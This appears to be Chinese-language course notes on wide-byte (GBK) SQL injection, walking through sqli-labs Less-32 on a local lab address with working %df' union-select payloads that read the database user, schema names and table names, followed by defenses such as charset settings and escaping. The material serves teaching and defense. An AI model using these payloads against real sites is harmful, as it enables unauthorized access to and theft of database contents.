6. 网易web安全渗透, sql漏洞之宽字节注入
宽字节注入原理
什么是宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS都是常见的宽字节编码
1个字节的字符,是短字节,所有的英文占1个字节
- 我们都知道1个字节占8位比如
a
二进制表示就是01011101
,0和1组合有255种完全满足英文的
- 我们都知道1个字节占8位比如
2个字节的字符,是宽字节,中文默认都是占两个字节的
- 如果我们用1个字节表示中文是远远不够的,所有要用两个字节
什么是宽字节注入
防御:有的网站会进行过滤,'
给转换成\'
绕过:将\给消灭掉
宽字节注入实战
第32关
判断是否存在sql注入漏洞
输入URL:http://192.168.0.108/Less-32/?id=1
正常显示
下面加上'
输入URL地址: http://192.168.0.108/Less-32/?id=1'
这个他专门显示了被转换了\'
我们就可以进行宽字节探测了
添加%df
输入URL:http://192.168.0.108/Less-32/?id=1%df'
%df
加\
会变成運
就没有\
了
发现是可以注入点
如果还是不确定可以用and 1=1
来判断
输入URL:http://192.168.0.108/Less-32/?id=1%df' and 1=1 --+
正常
输入URL:http://192.168.0.108/Less-32/?id=1%df' and 1=2 --+
没有显示
是确定是存在sql注入漏洞的
进行读取数据
和基本的注入查询一样
判断有几列
输入URL:http://192.168.0.108/Less-32/?id=1%df' order by 2 --+
输入
2
显示正常
发现输入到4就报错了
输入URL:http://192.168.0.108/Less-32/?id=1%df' order by 4 --+
可以判断有3
列
2. 观察页面返回,选择可以显示数据的位置,进行下一步的注入
输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,2,3 --+
结果是2
和3
3. 读取库的信息
输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,user(),3 --+
内容显示了
4. 查看数据库名
输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select schema_name from information_schema.schemata LIMIT 0,1),3 --+
这个他之显示第一个数据库的名
读取全部的库名
输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
用到了group_concat()函数,
应为有很多数据库他只能显示一个,所以用group_concat()叫所以库名都显示到一列中
读取查表
通过上面的查询找到数据库全部的数据库名
通过数据库名就可以查询表了
输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
发现报错了应为’security’你面有用'
我们就可以进行编码逃避用'
输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3 --+
就读取出来表了
等等后面都和普通的注入方法一样就不演示了
宽字节注入防御
- 使用UTF-8就可以完美防御宽字节注入
- php mysql_real_escape_string()函数和mysqli_set_charset() 函数
1.mysql_real_escape_string()是用来转义 SQL 语句中使用的字符串中的特殊字符
下列字符受影响:
1
2
3
4
5
6
7
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
2.mysqli_set_charset()函数是修改数据库连接字符集
他两个组合起来就可以防御了
- 设置成二进制的模式就可以了
mysql_query() 函数执行一条 MySQL 查询
他有两个参数一个是执行的语句一个是执行的,可选。规定 SQL 连接标识符
这个里面就可以添加一个character_set_client=binary
就可以防御了